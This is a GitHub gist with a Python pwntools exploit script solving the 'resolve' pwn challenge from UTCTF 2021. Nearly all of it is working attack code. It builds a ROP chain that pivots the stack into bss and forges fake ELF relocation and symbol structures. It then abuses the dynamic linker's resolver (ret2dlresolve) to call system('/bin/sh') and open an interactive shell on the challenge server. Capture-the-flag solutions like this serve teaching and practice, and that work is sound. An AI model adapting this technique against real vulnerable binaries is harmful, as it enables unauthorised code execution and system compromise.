Created
March 15, 2021 03:04
-
-
Save hugsy/9926e001f63a1b6a7344671b90e37a44 to your computer and use it in GitHub Desktop.
utctf 2021 - resolve
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3.9 | |
# | |
# This exploits `ret2dlresolve` technique: the idea behind this attack is | |
# to forge fake structures to force the LD runtime resolver to resolve and | |
# execute `system('/bin/sh')`. | |
# | |
# To do that, we forge 2 objects, the Rela (holding the symbol offset) and | |
# the Sym (holding the symbol information). | |
# | |
# Note: if using this attack, offsets must be calculated precisely and remember | |
# to re-align the stack to a 0x10 byte boundary. | |
# | |
# Useful links: | |
# - https://ypl.coffee/dl-resolve/ | |
# - https://www.lazenca.net/download/attachments/19300744/1539946097550.jpg | |
# | |
import os, sys | |
from pwn import * | |
context.log_level = "debug" | |
context.os = "linux" | |
context.arch = "amd64" | |
context.terminal = ["tmux", "split-window", "-v", "-p 75"] | |
LOCAL = True | |
TARGET_ELF = os.path.realpath("./resolve") | |
elf = ELF(TARGET_ELF) | |
def attach(r): | |
if LOCAL: | |
bkps = [ | |
# 0x0000000000401158, | |
] | |
cmds = [ | |
# "bp do_system", | |
"continue", | |
] | |
gdb.attach(r, '\n'.join(["break *{:#x}".format(x) for x in bkps] + cmds)) | |
return | |
def exploit(r): | |
# Choosing arbitrary rw locations. | |
# Note: that _dl_runtime_resolve() does require quite a bit of stack space | |
# (sometimes 0x300B but in some cases 0x900B), make sure not to have your | |
# stack pointer to close to a page border | |
rw1 = 0x0404000+0x310 | |
rw2 = 0x0404000+0xf00 | |
# We want a predictable stack layout, so we ROP into `gets` | |
# to read and store input we send directly at known locations in the | |
# bss. This will be useful for us to have a clean layout and addresses | |
# calculation | |
info("stack pivot to bss...") | |
p1 = flat( | |
b"A"*0x8, | |
p64(rw2-8), # saved rbp | |
# populate rw1 | |
p64(0x00000000004011c3), # pop rdi; ret | |
p64(rw1), | |
p64(elf.plt.gets), | |
# populate rw2 | |
p64(0x00000000004011c3), # pop rdi; ret | |
p64(rw2), | |
p64(elf.plt.gets), | |
# pivot stack | |
p64(0x0000000000401158), # leave; ret; | |
) | |
r.sendline(p1) | |
# Here we succesfully pivoted the stack. We need to mimic 2 objects: | |
# - the Rela that holds where to write the result resolution, and the symbol | |
# offset | |
# struct Elf64_Rela { | |
# Elf64_Addr r_offset; /* Location at which to apply the action */ | |
# Elf64_Xword r_info; /* index and type of relocation */ | |
# Elf64_Sxword r_addend; // Compute value for relocatable field by adding this. | |
# }; | |
# - the Sym struct that holds the symbol information | |
# struct Elf64_Sym { | |
# Elf64_Word st_name; // Symbol name (index into string table) | |
# unsigned char st_info; // Symbol's type and binding attributes | |
# unsigned char st_other; // Must be zero; reserved | |
# Elf64_Half st_shndx; // Which section (header tbl index) it's defined in | |
# Elf64_Addr st_value; // Value or address associated with the symbol | |
# Elf64_Xword st_size; // Size of the symbol | |
# } | |
PLT = elf.get_section_by_name(".plt")["sh_addr"] | |
RELA_PLT = elf.get_section_by_name(".rela.plt")["sh_addr"] | |
SYMTAB = elf.get_section_by_name(".dynsym")["sh_addr"] | |
STRTAB = elf.get_section_by_name(".dynstr")["sh_addr"] | |
R_X86_64_JUMP_SLOT = 0x07 # https://elixir.bootlin.com/linux/latest/source/arch/x86/include/asm/elf.h#L54 | |
STB_GLOBAL = 0x01 # https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/elf.h#L121 | |
STT_FUNC = 0x02 # https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/elf.h#L126 | |
log.info(f"PLT: {PLT:#x}") | |
log.info(f"RELA_PLT: {RELA_PLT:#x}") | |
log.info(f"STRTAB: {STRTAB:#x}") | |
log.info(f"SYMTAB: {SYMTAB:#x}") | |
# _dl_link_map is always at GOT[1] | |
# _dl_runtime_resolve is right after | |
_dl_runtime_resolve = PLT # this trampolines us to `push *_dl_link_map; jmp _dl_runtime_resolve` | |
__sizeof_rel = 0x18 | |
__sizeof_sym = 0x18 | |
__rel_offset = (rw1 - RELA_PLT)//__sizeof_rel | |
__resolved_address = rw1-8 # this can be any writable location, we don't care because we don't expect to return from `system()` | |
info(f"using relative offset RELA_PLT[{__rel_offset:#x}] to overwrite {__resolved_address:x}") | |
info(f"write the ret2dlresolve Rela & Sym structures at {rw1:#x}") | |
p2 = flat( | |
# Elf64_Rela | |
p64( __resolved_address ), # r_offset | |
p64( (((rw1+__sizeof_rel+0x10 - SYMTAB)//__sizeof_sym) << 32)|R_X86_64_JUMP_SLOT ), # r_info - offset of fake Elf64_Sym | |
p64( 0 ), # r_addend | |
b"PADDING\0", # padding for alignment | |
b"PADDING\0", # padding for alignment | |
# Elf64_Sym | |
p32(rw1 + __sizeof_rel + __sizeof_sym + 0x10 - STRTAB), # st_name; // Symbol name (offset from the string table) | |
p8((STB_GLOBAL << 4) | STT_FUNC), # st_info; // Symbol's type and binding attributes | |
p8(0), # st_other; // Must be zero; reserved | |
p16(0), # st_shndx; // Which section (header tbl index) it's defined in | |
p64(0), # st_value; // Value or address associated with the symbol | |
p64(0), # st_size; // Size of the symbol | |
b"system\0" | |
) | |
r.sendline(p2) | |
# Here the resolve fake structures are in memory, we need to call the resolver | |
# with the relative offset we calculated earlier to find - and execute - system() | |
info(f"trigger ret2dlresolve at {rw2:#x} to call system()") | |
binsh = rw2 + 8*5 | |
p3 = flat( | |
p64(0x000000000040101a), # ret - realign stack on 0x10B | |
p64(0x00000000004011c3), # pop rdi; ret | |
p64(binsh), | |
p64(_dl_runtime_resolve), # _dl_runtime_resolve(_dl_link_map, our_calculated_offset) | |
p64(__rel_offset), | |
b"/bin/sh\0", | |
) | |
r.sendline(p3) | |
r.interactive() | |
return 0 | |
if __name__ == "__main__": | |
if len(sys.argv)>=2: | |
LOCAL = False | |
r = remote("pwn.utctf.live", 5435) | |
else: | |
r = process([TARGET_ELF, ]) | |
attach(r) | |
exit(exploit(r)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment